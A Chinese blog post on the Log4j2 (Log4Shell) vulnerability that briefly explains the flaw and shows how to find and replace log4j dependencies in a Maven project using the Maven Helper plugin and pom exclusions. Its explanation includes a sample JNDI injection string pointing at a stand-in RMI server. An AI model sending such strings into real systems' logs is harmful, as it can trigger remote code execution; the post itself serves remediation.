Maven项目如何查看哪里依赖了log4j2
log4j2的漏洞想必大佬们都知晓了吧,由于它能解析$表达式并执行,比如${java:os}。所以有人就有坏点子了,结合jndi远程调用一个攻击服务器的java对象文件并执行,比如${jndi:rmi://127.0.0.1:8080/exec},假设被攻击的主机或者主机上运行的web程序自身没有限制调用该地址,那后果可想而知。
说来也是搞笑,这个漏洞其实很简单,也显而易见,可是log4j在业界的使用量这么大,居然这么多年才被发现。
进入正题,假设我们的maven项目是手动引用了log4j,那这个比较简单,直接修改版本,但是不能保证框架中是否也依赖了log4j,这时候就需要分析依赖了。
安装Maven Helper
在idea的插件市场搜索Maven Helper关键字,找到Maven Helper并安装
检查log4j
安装了Maven Helper以后,打开pom文件,左下角出现依赖分析器栏目
此时使用log4j关键字检索就能清楚的看到哪里依赖了log4j
然后在pom文件中使用exclusions节点排除,并添加新版本的log4j依赖。比如:
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-log4j2</artifactId>
<exclusions>
<exclusion>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
</exclusion>
</exclusions>
</dependency>
值得注意的是如果你是多模块项目,那你只需要在父pom中使用dependencyManagement节点配置新版本的依赖,这样可以覆盖所有的子项目,不用每个子项目都排除一遍比如:
<dependencyManagement>
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>${log4j.version}</version>
</dependency>
</dependencies>
</dependencyManagement>